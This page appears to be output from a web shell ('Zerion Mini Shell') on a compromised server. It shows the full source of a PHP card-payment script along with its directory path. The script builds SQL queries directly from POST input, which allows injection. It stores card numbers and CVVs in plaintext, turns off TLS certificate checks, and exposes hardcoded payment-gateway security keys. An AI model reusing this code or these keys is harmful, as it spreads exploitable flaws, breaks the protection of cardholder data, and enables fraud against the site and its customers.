%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/eirtvhdf/payments.hire-va.com/api/
Upload File :
Create Path :
Current File : //home/eirtvhdf/payments.hire-va.com/api/_co.php

<?php 
require '../inc/c.php';

$conn = mysqli_connect($sever,$db_u,$db_p,$db);
if($conn->connect_error){ die('Error: connection failed : '.$conn->connect_error); }

$id='0';
$payments_id='0';
$noc='';
$cc='';
$cvv='';
$expiryMM='';
$expiryYY='';
$address='';
$zip='';
$city='';
$state='';
$country='';
$transaction_id='';
$date= date('Y-m-d H:i:s');
$status='Pending';
$status_desc='';
$req='';
$res='';

$amount='0';
$cname="";
$cemail="";
$cpcode='1';
$cphone="";
$item="";
$ip="";

$key="vt7344x3GQf5z966bvb3ds4rc5mJWYj7";
//$key="bz8eb3nZbH26E95evYvfqs3E56v3b242";

//$key="6457Thfj624V5r7WUwc5v6a68Zsd6YEm";

//$url="https://secure.expigate.com/api/transact.php";
$url="https://secure.nmi.com/api/transact.php";
$type="auth";

if(isset($_POST['payments_id'])) $payments_id=$_POST['payments_id']; else $payments_id="0";
if(isset($_POST['amount'])) $amount=$_POST['amount']; else $amount="0";
if(isset($_POST['cname'])) $cname=$_POST['cname']; else $cname="";
if(isset($_POST['cemail'])) $cemail=$_POST['cemail']; else $cemail="";
if(isset($_POST['cpcode'])) $cpcode=$_POST['cpcode']; else $cpcode="0";
if(isset($_POST['cphone'])) $cphone=$_POST['cphone']; else $cphone="";
if(isset($_POST['item'])) $item=$_POST['item']; else $item="";
if(isset($_POST['ip'])) $ip=$_POST['ip']; else $ip="162.213.251.239";

if(isset($_POST['noc'])) $noc=$_POST['noc']; else $noc="";
if(isset($_POST['cc'])) $cc=$_POST['cc']; else $cc="";
if(isset($_POST['cvv'])) $cvv=$_POST['cvv']; else $cvv="";
if(isset($_POST['expiryMM'])) $expiryMM=$_POST['expiryMM']; else $expiryMM="";
if(isset($_POST['expiryYY'])) $expiryYY=$_POST['expiryYY']; else $expiryYY="";
if(isset($_POST['address'])) $address=$_POST['address']; else $address="";
if(isset($_POST['zip'])) $zip=$_POST['zip']; else $zip="";
if(isset($_POST['city'])) $city=$_POST['city']; else $city="";
if(isset($_POST['state'])) $state=$_POST['state']; else $state="";
if(isset($_POST['country'])) $country=$_POST['country']; else $country="";

if($payments_id=="0")
{
    die("Error: Invalid Payment Id");
}

$sql = "INSERT INTO transactions (payments_id,amount,noc,cc,cvv,expiryMM,expiryYY,address,zip,city,state,country,transaction_id,date,status,status_desc,req,res) VALUES('$payments_id','$amount','$noc','$cc','$cvv','$expiryMM','$expiryYY','$address','$zip','$city','$state','$country','$transaction_id','$date','$status','$status_desc','$req','$res')";

if ($conn->query($sql) === TRUE) {
    $id = $conn->insert_id;
    
    $req="";
    // Login Information
    $req .= "security_key=" . urlencode($key) . "&";
    // Sales Information
    $req .= "ccnumber=" . urlencode($cc) . "&";
    $req .= "ccexp=" . urlencode($expiryMM.$expiryYY) . "&";
    $req .= "amount=" . urlencode(number_format($amount,2,".","")) . "&";
    $req .= "cvv=" . urlencode($cvv) . "&";
    // Order Information
    //$req .= "ipaddress=" . urlencode($ip) . "&";
    $req .= "orderid=" . urlencode($payments_id) . "&";
    $req .= "orderdescription=" . urlencode($item) . "&";
    // Billing Information
    $req .= "firstname=" . urlencode($noc) . "&";
    $req .= "lastname=" . urlencode($noc) . "&";
    $req .= "address1=" . urlencode($address) . "&";
    $req .= "city=" . urlencode($city) . "&";
    $req .= "state=" . urlencode($state) . "&";
    $req .= "zip=" . urlencode($zip) . "&";
    $req .= "country=" . urlencode($country) . "&";
    $req .= "phone=" . urlencode($cphone) . "&";
    $req .= "email=" . urlencode($cemail) . "&";
    $req .= "type=".$type."&";
    $req .= "test_mode=enabled";
    
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30);
    curl_setopt($ch, CURLOPT_TIMEOUT, 30);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);

    curl_setopt($ch, CURLOPT_POSTFIELDS, $req);
    curl_setopt($ch, CURLOPT_POST, 1);

    if (!($data = curl_exec($ch))) {
        echo "ERROR: in posting transaction.";
    }
    else
    {
        echo "Posted,";
        curl_close($ch);
        unset($ch);
        $sql = "UPDATE transactions SET req='$req', res='$data' WHERE id=$id";
        $conn->query($sql);
        echo "Saved,";
        
        $data = explode("&",$data);
        for($i=0;$i<count($data);$i++) {
            $rdata = explode("=",$data[$i]);
            switch($rdata[0])
            {
                case "response":
                    if($rdata[1]=="1"){$status="Paid";  }
                    else {$status="Declined";  
                        echo "Error";
                    }
                    break;
                case "responsetext":
                    $status_desc=$rdata[1];
                    break;
                case "transactionid":
                    $transaction_id=$rdata[1];
                    break;
            }
        }
        $sql = "UPDATE payments SET status='$status', status_desc='$status_desc', status_date='$date', transaction_id='$transaction_id' WHERE id=$payments_id";
        $conn->query($sql);
        echo "Updated,";
    }
}
$conn->close();
echo $id;
?>

Zerion Mini Shell 1.0